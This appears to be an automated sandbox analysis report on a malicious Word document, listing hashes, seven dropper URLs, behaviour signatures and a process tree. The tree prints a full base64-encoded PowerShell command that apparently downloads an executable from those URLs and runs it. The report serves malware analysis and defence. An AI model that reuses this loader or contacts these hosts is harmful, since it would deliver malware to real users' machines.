Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2024, 02:14

General

  • Target

    f984c470c0f569914cbf5cb343613808_JaffaCakes118.doc

  • Size

    157KB

  • MD5

    f984c470c0f569914cbf5cb343613808

  • SHA1

    65a0c8fc34051ddaa7230d78aaa62d69657db7e4

  • SHA256

    ca94909f7c965de717109a19516d02b75fe6239e99684c5c3438e8a353509c94

  • SHA512

    782f062fb5805dfb2f1db4367800c723a8505581da27eb160454ed211efe35ffa0502135c90339ff9258d58d853c8ab623bf8a0ce4e22c2c62a19875d57259df

  • SSDEEP

    1536:ERWfcRWfsrdi1Ir77zOH98Wj2gpngd+a986Fgx+5eZ:ErfrzOH98ipg06FO+EZ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://citas.nubeweb24.com/wp-admin/bd0/

exe.dropper

http://wallenkelley.xyz/wp-content/A1/

exe.dropper

http://noraiport.nubeweb24.com/wp-admin/eh5/

exe.dropper

https://citybasket.in/sitemap/quZ/

exe.dropper

http://tingme.vn/wp-content/plugins/X/

exe.dropper

https://fairplay.company/wp-includes/H/

exe.dropper

https://casa.nubeweb24.com/wp-admin/hiR/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f984c470c0f569914cbf5cb343613808_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABWAG0AXwBkAGEAbwByAD0AKAAoACcASwBhACcAKwAnAGIAegAnACkAKwAoACcAZwBlACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBlAHIAUAByAE8ARgBpAEwARQBcAG8AbQBwADcAZQBpAGEAXABQADUANABDAEcAVwA0AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBpAGAAVAB5AGAAcAByAGAAbwBUAG8AYwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACgAJwBsAHMAMQAnACsAJwAxACcAKQArACgAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEMAaQB4AHgAOAAyADcAIAA9ACAAKAAoACcAWQAnACsAJwBmAGkAZwB3ACcAKQArACcAXwAnACkAOwAkAFYAdgB4AF8AagBsAGcAPQAoACgAJwBNACcAKwAnAHEAJwArACcAZAA0AHYAMwAnACkAKwAnADMAJwApADsAJABCAHYAOAB2AGQAZABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACgAJwBLAGwAJwArACcATwBtAHAANwBlACcAKwAnAGkAYQB5AEsAbAAnACkAKwAoACcAUAA1ACcAKwAnADQAJwApACsAJwBjAGcAJwArACcAdwAnACsAKAAnADQAJwArACcAeQBLAGwAJwApACkALQBDAHIAZQBwAGwAYQBDAGUAIAAgACgAJwB5ACcAKwAnAEsAbAAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAQwBpAHgAeAA4ADIANwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARQA3ADQAcgBkAGgAbAA9ACgAJwBMADEAJwArACgAJwB5ACcAKwAnAGUAYQAnACkAKwAnAG8AdwAnACkAOwAkAE8AegBoAGMAegA5ADAAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkARQBOAHQAOwAkAFMAeABtAGYAOAA1ADMAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwBjAGkAJwArACcAdAAnACsAJwBhAHMALgBuACcAKQArACgAJwB1ACcAKwAnAGIAZQB3ACcAKQArACgAJwBlAGIAMgAnACsAJwA0ACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AdwBwACcAKQArACcALQBhACcAKwAnAGQAbQAnACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBiAGQAJwArACcAMAAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwAnACkAKwAoACcAYQBsAGwAJwArACcAZQAnACkAKwAoACcAbgBrACcAKwAnAGUAJwApACsAJwBsAGwAJwArACgAJwBlAHkALgAnACsAJwB4ACcAKQArACgAJwB5ACcAKwAnAHoALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcAQQAxAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG4AJwArACcAbwByAGEAJwArACcAaQAnACsAJwBwACcAKQArACcAbwByACcAKwAnAHQAJwArACgAJwAuAG4AdQBiAGUAJwArACcAdwAnACsAJwBlAGIAMgA0AC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuAC8AZQBoADUALwAqACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBjAGkAJwApACsAKAAnAHQAeQAnACsAJwBiAGEAcwBrAGUAJwApACsAKAAnAHQAJwArACcALgBpACcAKQArACcAbgAvACcAKwAoACcAcwAnACsAJwBpACcAKwAnAHQAZQBtAGEAcAAnACkAKwAoACcALwBxAHUAWgAnACsAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvAHQAaQAnACsAJwBuAGcAbQAnACsAJwBlAC4AJwApACsAKAAnAHYAbgAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlAG4AdAAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgBzAC8AJwApACsAKAAnAFgALwAnACsAJwAqAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AZgAnACsAJwBhAGkAcgBwACcAKQArACgAJwBsAGEAeQAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwBwACcAKwAnAGEAbgB5ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACgAJwBpAG4AJwArACcAYwBsAHUAZABlACcAKQArACgAJwBzAC8AJwArACcASAAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAYQAuAG4AdQBiAGUAdwBlAGIAMgAnACsAJwA0AC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAJwArACcAbQBpAG4ALwBoACcAKQArACcAaQBSACcAKwAnAC8AJwApAC4AIgBTAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAdgBnAHMAbwBwAGgAPQAoACcARwAnACsAKAAnADcAdQBqAGMAJwArACcAbAAnACkAKwAnAHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVwA0ADYANAB0AGEANgAgAGkAbgAgACQAUwB4AG0AZgA4ADUAMwApAHsAdAByAHkAewAkAE8AegBoAGMAegA5ADAALgAiAGQATwB3AGAATgBMAGAATwBBAGQARgBgAGkAbABlACIAKAAkAFcANAA2ADQAdABhADYALAAgACQAQgB2ADgAdgBkAGQAaQApADsAJABFAHIAYgBsADQAcwB5AD0AKAAoACcARwB1ACcAKwAnAHQAJwApACsAKAAnAHUAeQAnACsAJwBiAGUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQgB2ADgAdgBkAGQAaQApAC4AIgBsAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADIAMQA4ADgAMgApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABCAHYAOAB2AGQAZABpACkAOwAkAEQAMABfAHYAawBrADMAPQAoACgAJwBOAGoAaAAnACsAJwB4ACcAKQArACgAJwBjAGEAJwArACcAZgAnACkAKQA7AGIAcgBlAGEAawA7ACQASABfAHQAbgBsAGYAbQA9ACgAKAAnAE4AJwArACcAagA1ADcAJwApACsAKAAnAHkAJwArACcAeABoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAHAAOQBuAHUAMwA3AD0AKAAnAEgAJwArACgAJwB4ACcAKwAnAGsAagAnACkAKwAoACcAcQBfACcAKwAnAGcAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2544

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            19KB

            MD5

            a55d7cad87888350ceae1807396a7cd7

            SHA1

            b8c239979a923cb89f806cabfff574025e95e358

            SHA256

            34f6c29aef0f736d3e3801232e3622cad9c8db3b049c2a636be78da3bd0438d2

            SHA512

            7b02ce08efd37a0021e5bdc7616b8db1ec423c50e2a86817d4ae27567a9fe8fa173f2ef122ae0b1c870e92f530f17890265661f5999db460d52f9ac3e363703a

          • memory/1620-32-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-47-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-7-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

            Filesize

            1024KB

          • memory/1620-6-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-21-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-22-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-27-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-0-0x000000002F6F1000-0x000000002F6F2000-memory.dmp

            Filesize

            4KB

          • memory/1620-2-0x000000007154D000-0x0000000071558000-memory.dmp

            Filesize

            44KB

          • memory/1620-66-0x000000007154D000-0x0000000071558000-memory.dmp

            Filesize

            44KB

          • memory/1620-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1620-46-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-45-0x000000007154D000-0x0000000071558000-memory.dmp

            Filesize

            44KB

          • memory/1620-33-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-48-0x0000000005A80000-0x0000000005B80000-memory.dmp

            Filesize

            1024KB

          • memory/1620-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2544-39-0x000000001B640000-0x000000001B922000-memory.dmp

            Filesize

            2.9MB

          • memory/2544-40-0x0000000002790000-0x0000000002798000-memory.dmp

            Filesize

            32KB